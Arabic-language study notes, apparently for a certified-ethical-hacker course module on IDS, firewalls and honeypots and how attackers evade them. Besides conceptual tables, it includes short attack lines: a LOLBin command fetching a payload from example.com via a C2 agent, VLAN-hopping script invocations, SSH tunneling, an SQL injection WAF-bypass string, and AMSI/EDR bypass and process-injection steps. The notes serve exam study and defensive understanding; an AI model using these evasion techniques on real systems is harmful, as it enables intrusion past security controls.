الـ IDS نظام برمجي أو جهاز عتاد يفحص كل حركة الشبكة الواردة والصادرة بحثًا عن أنماط مشبوهة قد تُشير لاختراق. بيقارن الحركة بـ Signatures مطابقة لأنماط تسلّل معروفة ويرفع إنذارًا عند التطابق.
الـ IPS يُعتبَر IDS نشطًا (Active IDS) لأنه مش بس يكشف التسلّل، لكن كمان يقدر يمنعه في نفس الوقت.
أكتر مكان شائع لوضع IDS هو بجانب الـ Firewall. بحسب الحركة المراد مراقبتها، يُوضَع الـ IDS خارج أو داخل الـ Firewall لمراقبة الحركة المشبوهة. أفضل ممارسة هي الدفاع متعدّد الطبقات: IDS واحد أمام الـ Firewall وآخر خلفه.
لو IDS داخل الشبكة، أحسن موقع له هو قريب من الـ DMZ.
| طريقة الكشف | الشرح |
|---|---|
| Signature Recognition (Misuse Detection) | يحاول تحديد أحداث تدلّ على إساءة استخدام مورد نظام أو شبكة — مقارنة بتوقيعات معروفة مسبقًا |
| Anomaly Detection | يكشف التسلّل بناءً على خصائص سلوكية ثابتة للمستخدمين ومكوّنات النظام — أي انحراف عن القاعدة يُعتبَر مشبوهًا |
| Protocol Anomaly Detection | تحليل حركة الشبكة لاكتشاف الانحرافات عن معايير البروتوكولات المعتمدة أو أنماط السلوك المتوقَّعة |
| النوع | الشرح | الملاحظة |
|---|---|---|
| Network-Based IDS (NIDS) | صندوق أسود يُوضَع على الشبكة في وضع Promiscuous يراقب الأنماط الدالّة على التسلّل | يكشف DoS وPort Scans ومحاولات الاختراق بمراقبة حركة الشبكة |
| Host-Based IDS (HIDS) | يراقب الأحداث على جهاز مضيف معيّن (Host) | أقل شيوعًا بسبب التحميل الزائد (Overhead) الناتج عن مراقبة كل حدث على كل جهاز |
| النوع | هجوم حقيقي؟ | إنذار؟ | الشرح |
|---|---|---|---|
| True Positive ✅ | نعم | نعم | الـ IDS يرفع إنذارًا عند حدوث هجوم حقيقي — الحالة المثالية |
| False Positive ⚠️ | لا | نعم | الـ IDS يرفع إنذارًا بدون وجود هجوم — إنذار كاذب يُضيّع الوقت |
| False Negative ❌ | نعم | لا | الـ IDS لا يرفع إنذارًا رغم حدوث هجوم حقيقي — الأخطر |
| True Negative ✅ | لا | لا | الـ IDS لا يرفع إنذارًا ولا يوجد هجوم — طبيعي |
الـ Firewall عتاد و/أو برمجيات مصمَّمة لمنع الوصول غير المصرّح به لشبكة خاصة أو منها. يُوضَع عند نقطة التقاء أو بوّابة بين شبكتين، عادةً بين شبكة خاصة والإنترنت، ويفحص كل الرسائل الداخلة والخارجة ويحجب ما لا يستوفي معايير الأمان.
| المكوّن | الشرح |
|---|---|
| Bastion Host | حاسوب مصمَّم ومُهيَّأ لحماية موارد الشبكة. له واجهتان: عامة متصلة بالإنترنت مباشرةً، وخاصة متصلة بالـ Intranet |
| Screened Subnet DMZ | تحتوي على أجهزة تقدّم خدمات عامة. الـ DMZ ترد على الطلبات العامة ولا يصلها الشبكة الخاصة، والإنترنت لا يستطيع الوصول للمنطقة الخاصة |
| Multi-homed Firewall DMZ | Firewall بواجهتين أو أكثر لتقسيم الشبكة حسب أهداف الأمان المحدّدة للمؤسسة |
منطقة تستضيف حاسوبًا أو شبكة فرعية صغيرة كمنطقة محايدة بين الشبكة الداخلية للشركة والشبكة الخارجية غير الموثوقة. تعمل كـ Buffer بين الشبكة الداخلية الآمنة والإنترنت غير الآمن لمنع الوصول المباشر لأجزاء أخرى من الشبكة.
| النوع | طبقة OSI | الشرح |
|---|---|---|
| Packet Filtering | Network (L3) | يقارن كل حزمة بمعايير محدَّدة مسبقًا: عناوين IP المصدر والوجهة، أرقام البورتات، والبروتوكولات — ثم يقرّر بالإسقاط أو الإرسال |
| Circuit-Level Gateway | Session (L5) | يعمل على طبقة الجلسة — يسمح بمرور الحركة عبر البوّابة مع حجب الحزم الواردة المباشرة |
| Application-Level Firewall | Application (L7) | يعمل على طبقة التطبيق — يفلتر الحركة بناءً على بروتوكولات تطبيق محدّدة، يسمح فقط بالخدمات المدعومة ويحجب الباقي |
| Stateful Multilayer Inspection | L3 + L5 + L7 | يجمع Packet Filtering وCircuit-Level وApplication-Level — يقيّم شرعية جلسة طبقة الشبكة ومحتوى حزمة طبقة التطبيق معًا |
| Application Proxy | Application (L7) | يعمل كواجهة بين محطات العمل والإنترنت — يفلتر الاتصالات بناءً على خدمات وبروتوكولات معيّنة (مثل السماح بـ FTP فقط عبر FTP Proxy) |
| VPN Firewall | متعدّد | يُضيف تشفيرًا ويدير تدفّق الحركة بين نقاط نهاية الـ VPN — يضمن أن الـ VPN Tunnel يسمح فقط بالحركة المصرّح بها |
YARA أداة بحث في البرمجيات الخبيثة (Malware) تسمح لمحلّلي الأمان باكتشاف وتصنيف الـ Malware بنهج قائم على القواعد (Rules). متعدّدة المنصّات (Windows وmacOS وLinux)، وتسمح بإنشاء قواعد تصف عائلات الـ Malware بأنماط نصية أو ثنائية.
| جزء YARA Rule | الشرح |
|---|---|
| Condition | تحدّد متى تكون النتيجة صحيحة على ملف ما — مكوَّنة من Boolean Expressions |
| Strings | تُعطي معنى لـ Condition بتعريف النصوص المطلوب البحث عنها (Hex، نصية، أو Regex) |
| Metadata | معلومات عامة يستخدمها المحلّل لتحديد الملفات المجمَّعة بقاعدة معيّنة |
أداة لتوليد YARA Rules تلقائيًا من نصوص ملفات Malware مع إزالة النصوص الموجودة في ملفات Goodware. تحتوي قاعدة بيانات ضخمة من نصوص Goodware وأكواد Opcode كأرشيفات ZIP.
| الأداة | الشرح |
|---|---|
| Snort | IDS شبكي مفتوح المصدر — تحليل حركة Real-Time وتسجيل حزم على شبكات IP. يكشف Buffer Overflows وPort Scans وOS Fingerprinting. يستخدم لغة قواعد مرنة ومحرّك كشف معياري (Modular Plug-in). الاستخدامات: Packet Sniffer، Packet Logger، Network IPS |
| Suricata | محرّك كشف تهديدات شبكي قوي — IDS وIPS وNSM ومعالجة Pcap Offline. يستخدم Lua Scripting لكشف التهديدات المعقّدة. يتكامل مع SIEMs وSplunk وElasticsearch وKibana عبر YAML وJSON |
أدوات إضافية: Juniper IDP، Samhain HIDS، OSSEC، Zeek، Cisco Secure IPS.
[Rule Header] [Rule Options]
alert tcp any any -> 192.168.1.0/24 80 (msg:"HTTP Traffic Detected"; sid:1001; rev:1;)
# Rule Header: action protocol src_ip src_port direction dst_ip dst_port
# Actions: alert | log | pass | drop | reject | sdrop
# Rule Options: msg (رسالة التنبيه)، sid (معرّف القاعدة)، content (نمط البحث)
| الأداة | الشرح |
|---|---|
| Trellix IPS | يكتشف Botnets وDiorms وهجمات الاستطلاع المخفية مسبقًا. يجمع بيانات التدفّق (Flow Data) من الـ Switches والـ Routers وينفّذ تحليل سلوكي على مستوى الشبكة |
| Check Point Quantum IPS | Check Point |
| Atomic OSSEC | Atomicorp |
| McAfee Host IPS | McAfee |
| Cisco Secure IPS (NGIPS) | Cisco |
| Palo Alto Advanced Threat Prevention | Palo Alto Networks |
| الفئة | أمثلة |
|---|---|
| Network-based Firewalls | Cisco Secure Firewall ASA، Palo Alto PA-7500، FortiGate 7121F، Check Point 28000 Quantum، Juniper SRX |
| Host-based Firewalls | Microsoft Defender Firewall، ZoneAlarm Pro، Comodo Firewall، Norton Smart Firewall، McAfee Firewall |
| حسب آلية العمل | IPFire، pfSense، SonicWall TZ Series، BIG-IP Advanced Firewall Manager، Sophos Firewall، WatchGuard Firebox، FortiProxy |
يوجد 20 تقنية رئيسية للتحايل موزَّعة بين تحديد الـ IDS/Firewall والتحايل الفعلي:
| التقنية | الشرح | مثال |
|---|---|---|
| Port Scanning | تحديد البورتات المفتوحة والخدمات الشغّالة. بعض الـ Firewalls تعرّف نفسها في ردود Port Scans | ManageEngine Firewall Analyzer على UDP 514/1514 — Snort IDS على TCP 80/UDP 53 |
| Firewalking | استخدام قيم TTL لتحديد فلاتر ACL في البوّابة ورسم خرائط الشبكة بتحليل ردود حزم IP. إرسال حزم TCP/UDP بقيمة TTL أكبر بـ hop واحد من الـ Firewall المستهدَف | أدوات: Firewalk، Nmap firewalk script |
| Banner Grabbing | الـ Banners إعلانات خدمات ترد على طلبات الاتصال وتحمل معلومات الإصدار. تساعد في تحديد مورِّد الـ Firewall وإصدار الـ Firmware، وتكييف الهجوم لتجنّب الكشف | اكتشاف نوع الـ IDS وإعداداته |
| التقنية | الشرح | الأداة |
|---|---|---|
| IP Address Spoofing | تعديل عنوان IP المصدر في رؤوس الحزم لإخفاء هوية المهاجم — إنشاء حزم بعنوان IP مزوَّر يبدو أنه من مضيف موثوق | Hping |
| Source Routing | المرسِل يُحدِّد مسار الحزمة عبر أجزاء الشبكة الأقل حمايةً أو مراقبةً — كل راوتر يفحص عنوان IP الوجهة ويختار الـ hop التالي، في Source Routing المرسِل يتخذ بعض/كل هذه القرارات | — |
| Tiny Fragments | إنشاء شظايا صغيرة جدًا من الحزم الصادرة تجبر معلومات رأس TCP على الانتقال للشظية التالية — قواعد فلتر IDS التي تبحث عن أنماط لن تتطابق بسبب انكسار الرأس. ينجح الهجوم لو الـ Router يفحص الشظية الأولى فقط ويسمح لباقيها | — |
| IP as URL | كتابة عنوان IP للموقع المحجوب مباشرةً في المتصفح بدل اسم الدومين — يفشل لو برنامج الحجب يتتبّع عنوان IP المُرسَل للسيرفر | Host2ip |
| Anonymous Surfing Sites | خدمات Anonymizer تُخفي عنوان IP الحقيقي وتعرض عنوانًا بديلًا لتجنّب الحجب | 2ip.io، kproxy، proxify، anonymouse.org |
| Proxy Server | توجيه الحركة عبر Proxy — الإعداد في Windows: Control Panel → Network → Internet Options → LAN Settings → Use a proxy server (Port 8080 افتراضيًا) | — |
| نوع الـ Tunnel | الآلية | الأداة |
|---|---|---|
| ICMP Tunneling | تضمين Backdoor Shell في الجزء الخاص بالبيانات من حزم ICMP Echo. الـ Firewall/IDS يفترض إنها حركة ICMP مشروعة ويسمح لها بالمرور بدون فحص عميق | ICMPTX |
| ACK Tunneling | استغلال الطبيعة الموثوقة عادةً لحزم ACK. يبني اتصال TCP شرعي ثم يحقن حزم ACK تحتوي حمولات خبيثة (Malicious Payloads) | Hping، Nping |
| HTTP Tunneling | تغليف البيانات داخل حركة HTTP (Port 80) — يعمل لو الشركة عندها Web Server عام على Port 80 غير مُفلتَر على الـ IDS/Firewall | HTTPort، HTTHost |
| SSH Tunneling | تشفير وتنفيذ Tunnel لكل الحركة من الجهاز المحلي للبعيد لتجنّب ضوابط الأمان المحيطية. يستخدم Local/Remote/Dynamic Port Forwarding | OpenSSH، Bitvise SSH |
| DNS Tunneling | تضمين بيانات خبيثة داخل حزم DNS (حد 255 بايت للاستعلامات الخارجية) عبر Port 53. يُستخدَم للتواصل بين الجهاز المُخترَق وسيرفر C&C — حتى DNSSEC لا يكشفه | iodine، dnscat2 |
تعطيل IIS Admin Service وWorld Wide Web Publishing Service.
تشغيله بالإعدادات الافتراضية وإدخال كلمة المرور وتفعيل "Revalidate DNS names" و"Log connections".
التأكد من رسالة "Listener: listening at
تفعيل Windows Defender Firewall وإنشاء قاعدة Outbound تحجب الحركة على Port 21.
في تبويب Proxy، إدخال IP لجهاز HTTHost والبورت 90 وكلمة المرور.
في تبويب Port mapping، إضافة Mapping جديد للنظام الهدف.
ضغط Start في تبويب Proxy — سيعترض HTTPort طلب FTP ويُنفِّذ Tunnel عبره.
فتح Command Prompt وتشغيل ftp 127.0.0.1 وإدخال بيانات الدخول — الاتصال يتمّ بتجاوز HTTP Proxy والـ Firewall.
ssh -f user@certifiedhacker.com -L 5000:certifiedhacker.com:25 -N
# -f تشغيل في الخلفية (Background Mode)
# -L 5000:host:25 local-port : host : remote-port
# -N لا تنفّذ أي أمر على السيرفر البعيد
| نوع الـ Port Forwarding | الشرح |
|---|---|
| Local Port Forwarding (LPF) | يسمح بالوصول للموارد الداخلية غير المتاحة مباشرةً من خارج الشبكة |
| Remote Port Forwarding (RPF) | يسمح بالوصول للتطبيقات المحلية على جانب الهدف أو بيئات التطوير في الشبكة البعيدة |
| Dynamic Port Forwarding (DPF) | ينشئ SOCKS Proxy عبر SSH Tunnel يُوجِّه أي حركة ويصل لخدمات غير مصرَّح بها بشكل غير مكتشَف |
| التقنية | الشرح |
|---|---|
| External Systems | المهاجم يسرق Session ID وCookies من مستخدم شرعي متصل بنظام خارجي، يصل للشبكة الداخلية ويُصدر أوامر openURL() لإعادة توجيه متصفح الضحية لسيرفره الخبيث |
| MITM Attack | تسميم DNS Server ← المستخدم يطلب موقعًا شرعيًا ← DNS يرجع IP المهاجم ← المستخدم يتصل بسيرفر المهاجم ← المهاجم يعمل Relay للحركة مع الموقع الحقيقي وينفّذ أكواده |
| Content Smuggling | إرسال محتوى يحمل كودًا خبيثًا للمستخدم وخداعه لفتحه. يستخدم Steganography أو Obfuscation لإخفاء الكود في ملفات تبدو شرعية (Email بمرفقات Office أو Executable) |
| HTML Smuggling | حقن كود خبيث في HTML/JavaScript مع إخفائه من Firewalls وWeb Proxies وEmail Gateways. يستغل ميزات HTML5 لإنشاء ملف عند التحميل مباشرةً في المتصفح دون عبور الشبكة |
| WAF Bypass — HTTP Header Spoofing | استخدام X-Forwarded-For لتزوير الـ Headers وإيهام الـ WAF بأن الطلب من الشبكة الداخلية |
| WAF Bypass — Blacklist Detection | تحديد الكلمات المحجوبة واستبدالها بـ Regex وPayloads بديلة. مثال: 1 || (select username, pwd from employees where userID = 1001) = 'admin' |
| WAF Bypass — Fuzzing/Brute-force | إرسال Payloads على الـ WAF المحلي لتحديد ما يمرّ، باستخدام Wordlists زي Assetnote وSecLists |
| WAF Bypass — SSL/TLS Cipher Abuse | تحديد Ciphers مدعومة من السيرفر لكن غير مدعومة من الـ WAF، واستخدامها للتحايل (sslscan2، abuse-ssl-bypass-waf.py) |
| Windows BITS | استغلال Background Intelligent Transfer Service المستخدَم لتوزيع تحديثات Windows — المؤسسات تتجاهل حركة BITS عادةً. يستخدمه المهاجمون لتشغيل تطبيقات خبيثة أو Backdoor عبر bitsadmin أو API calls |
أداة VLANPWN تحتوي سكربتين:
| السكربت | الشرح |
|---|---|
| DoubleTagging.py | يُنفِّذ هجوم VLAN Hopping بحقن إطار بـ 802.1Q tags مزدوجة |
| DTPHijacking.py | يُنفِّذ DTP Switch Spoofing/Hijacking — يُرسِل إطار DTP-Desirable خبيث ويحوّل جهاز المهاجم لـ Trunk Channel |
python3 DoubleTagging.py --interface eth0 --nativevlan 1 --targetvlan 20 --victim <IP> --attacker <IP>
python3 DTPHijacking.py --interface eth0
المهاجم يحصل على جهاز مُصادَق مسبقًا ويضع جهازه (مثل Raspberry Pi) بين الجهاز المُصادَق وسيرفر الـ Authentication، مما يضمن مرور الحركة عبر جهازه. أدوات: nac_bypass_setup.sh، FENRIR، NACkered، Silentbridge، BITM.
تعديل هيكل كود الـ Malware بدون التأثير على وظيفته، عبر Binary Deconstruction وإدراج كود Assembly عشوائي وإعادة التجميع. يتجاوز برامج مكافحة الفيروسات (Signature-based Detection). أداة: Ghostwriting.sh.
الـ Application Whitelisting ميزة أمان في Windows لمنع تنفيذ التطبيقات الخبيثة. التطبيق عند تشغيله يبحث عن DLLs في مسار ملفه. المهاجم يضع DLL خبيث باسم شرعي في نفس المجلد (DLL Hijacking) ← الـ DLL الخبيث يُنفَّذ مع التطبيق لتعطيل أمان الـ Endpoint. يمكن كمان استخدام rundll32.exe، regsvr32.exe، وPowerShell.
التحايل على كشف الـ Endpoint وتعديل الذاكرة والـ Registry وملفات Windows بـ VBScript بأسلوبين:
| الأسلوب | الشرح |
|---|---|
| Spawning through ShellCOM | استدعاء أي Object مرتبط بـ COM عبر VBScript لاستخدام وظائفه — مثال: تشغيل calc.exe عبر ShellExecute |
| Spawning using XMLDOM | تنزيل وتشغيل كود داخل عملية Office. يستخدم Microsoft.XMLDOM لتحميل ملف XSL خبيث من سيرفر بعيد وتحويله |
المهاجم يجد الـ DLLs والدوال المرتبطة والـ Syscalls المُصدَّرة للتطبيق الهدف.
يستخدم أدوات مثل x64dbg لتحديد الـ Syscalls المُعلَّقة (Hooked) في الذاكرة.
يصنع Payload يُعيد كتابة هذه الـ Hooks بالبايتات الأصلية الدقيقة.
إعادة تحميل المكان الصحيح في الذاكرة لمحو هوكس الـ EDR.
استخدام Assembly وSyscalls خاصة لتنفيذ Payload الخبيث بدون تفعيل أي EDR Hook.
حقن كود Malware في مساحة ذاكرة عملية شغّالة — جزء من استراتيجية للاستمرارية (Persistence)، تصعيد الصلاحيات، أو تنفيذ أنشطة خبيثة بدون كشف.
تخصيص ذاكرة في مساحة عنوان العملية الهدف — المهاجم يحجز كتلة ذاكرة لحقن الـ Payload فيها.
كتابة البيانات في مساحة ذاكرة العملية البعيدة — المهاجم يكتب الـ Payload الخبيث في الكتلة المحجوزة.
إنشاء Thread جديد في مساحة عنوان العملية الهدف — يُوجِّهه لتنفيذ الكود المحقون.
أدوات نظام شرعية مُثبَّتة مسبقًا أو محمَّلة من مصادر موثوقة (Microsoft) تُستخدَم لتجاوز الـ EDR.
# 1. إعداد Agent في Deimos C2 للتواصل عبر HTTPS
# 2. تنفيذ Windows Binary لتحميل ملف بعيد
C:/> ConfigSecurityPolicy.exe http://example.com/payload
# 3. صلاحيات User على Windows 10/11
C:/> CustomShellHost.exe
محاكاة وظيفة CPL Applet الأصلية لجعل النشاط الخبيث يبدو شرعيًا — عند تنفيذ ملف CPL شرعي يُحمَّل الكود الخبيث المدمج معه. أنظمة الكشف التقليدية كثيرًا ما تتجاهل ملفات CPL لأنها غير مرتبطة عادةً بالـ Malware. أداة: CPLResourceRunner.
إنشاء Payload خبيث بـ msfvenom ← تحليله على VirusTotal لمعرفة معدّل الكشف ← التعديل المتكرّر لـ Metasploit Templates لتقليل معدّل الكشف.
| التقنية | الشرح |
|---|---|
| PowerShell Downgrade | تخفيض إصدار PowerShell لـ 2.0 لتجاوز كشف AMSI (غير مدعوم في الإصدار القديم) |
| Obfuscation | جعل الكود معقّدًا وغير مقروء — تفكيك النصوص وتجميعها بعامل +. أداة AmsiTrigger تفحص السكربتات وتحدّد الأسطر المُشغِّلة لـ AMSI |
| Forcing an Error | تعديل دالة amsiInitFailed() لإرجاع Boolean True بدل 0 — يُولِّد خطأ أثناء تهيئة AMSI عبر تخصيص الذاكرة وتعديل قيم في AmsiUtils |
| Memory Hijacking | التلاعب بالدوال الداخلية لـ AMSI عبر Hooking دالة AmsiScanBuffer() وإجبارها على إرجاع AMSI_RESULT_CLEAN دائمًا |
| النوع | الشرح |
|---|---|
| Low-interaction | يُحاكي عددًا محدودًا فقط من الخدمات والتطبيقات |
| Medium-interaction | يُحاكي نظام تشغيل حقيقي وتطبيقاته وخدماته |
| High-interaction | يُحاكي كل الخدمات والتطبيقات |
| Pure Honeypots | يُحاكي شبكة الإنتاج الحقيقية للمؤسسة |
| Database Honeypots | قواعد بيانات وهمية معرَّضة لهجمات SQL Injection وDatabase Enumeration |
| Spam Honeypots | سيرفرات بريد تقبل الإيميلات من أي مصدر لاصطياد المرسِلين العشوائيين (Spammers) ورصد نشاطهم |
| Spider Honeypots (Spider Traps) | فخاخ لـ Web Crawlers والـ Spiders. موقع وهمي يُقدَّم كأنه حقيقي — من يحاول Crawling يُحدَّد ويُدرَج في القائمة السوداء |
HoneyBOT (Medium-interaction للـ Windows)، Blumira، NeroSwarm Honeypot، Valhala Honeypot، Cowrie، StingBox.
| النوع | طبقة OSI | الميزة الرئيسية |
|---|---|---|
| Packet Filtering | L3 — Network | سريع، يفحص الـ Headers فقط — لا يتتبّع حالة الاتصال |
| Circuit-Level Gateway | L5 — Session | يتحقّق من مصافحة TCP — لا يفحص محتوى الحزمة |
| Application-Level Firewall | L7 — Application | أعمق فحص — Proxy لكل بروتوكول على حدة |
| Stateful Multilayer Inspection | L3 + L5 + L7 | يجمع الثلاثة — يحلّل الحالة والمحتوى معًا |
| VPN Firewall | متعدّد | يُضيف تشفيرًا للاتصالات عبر VPN Tunnel |
| النوع | البروتوكول/البورت | الأداة | ملاحظة |
|---|---|---|---|
| ICMP Tunneling | ICMP (Echo) | ICMPTX | يخفي Payload في حزم Ping |
| ACK Tunneling | TCP ACK | Hping، Nping | يستغل الطابع الموثوق لحزم ACK |
| HTTP Tunneling | TCP 80 | HTTPort، HTTHost | يعمل لو Port 80 مفتوح بدون فلترة |
| SSH Tunneling | TCP 22 | OpenSSH، Bitvise | تشفير كامل — Local/Remote/Dynamic PF |
| DNS Tunneling | UDP 53 | iodine، dnscat2 | حد 255 بايت — مخفي وصعب الكشف |
| النوع | مستوى التفاعل | ما يُحاكيه |
|---|---|---|
| Low-interaction | منخفض | خدمات وتطبيقات محدودة فقط |
| Medium-interaction | متوسط | نظام تشغيل حقيقي وخدماته |
| High-interaction | مرتفع | كل الخدمات والتطبيقات |
| Pure Honeypot | حقيقي | شبكة الإنتاج الكاملة |
| Database Honeypot | متخصَّص | قاعدة بيانات وهمية للـ SQL Injection |
| Spam Honeypot | متخصَّص | سيرفر بريد مفتوح لاصطياد الـ Spam |
| Spider Trap | متخصَّص | موقع وهمي لاصطياد Web Crawlers |
| التقنية | الآلية |
|---|---|
| PowerShell Downgrade | powershell -version 2 ← AMSI غير متوفّر في v2 |
| Obfuscation | تفكيك النصوص وإعادة تجميعها بـ + — AmsiTrigger لتحديد الأسطر المُشغِّلة |
| Forcing an Error | تعديل amsiInitFailed ← True ← AMSI يفشل في التهيئة |
| Memory Hijacking | Hooking AmsiScanBuffer() ← إرجاع AMSI_RESULT_CLEAN دائمًا |
الموديول ده ناقش مفاهيم الـ IDS وIPS والـ Firewall وحلولها، والتقنيات المتنوّعة للتحايل عليها (20 تقنية)، وتقنيات تجاوز الـ NAC وأمان نقاط النهاية. ناقش كمان مفاهيم الـ Honeypot وأنواعه، وختم بإجراءات مضادة تفصيلية لمنع التحايل.
الـ Firewall والـ IDS مش نهاية الدفاع — هما بداية عقلية الطبقات. المهاجم المتمرّس يعامل كل عائق كمشكلة هندسية: إيجاد بروتوكول موثوق مسموح بمروره وتحويله لـ Tunnel. الدفاع الحقيقي يبدأ من فهم هذه المسارات قبل أن يستغلّها المهاجم.
أسئلة هذا الموديول غالبًا تُركِّز على: الفرق بين أنواع تنبيهات الـ IDS الأربعة (True/False Positive/Negative)، أنواع الـ Firewalls وطبقة OSI لكل منها، الفرق بين Firewalking والـ Port Scanning، أنواع الـ Honeypots ومستوى تفاعل كل منها، وDNS Tunneling عبر Port 53 وعلاقته بـ C&C Server.
نهاية نوتس الموديول الثاني عشر — Evading IDS, Firewalls, and Honeypots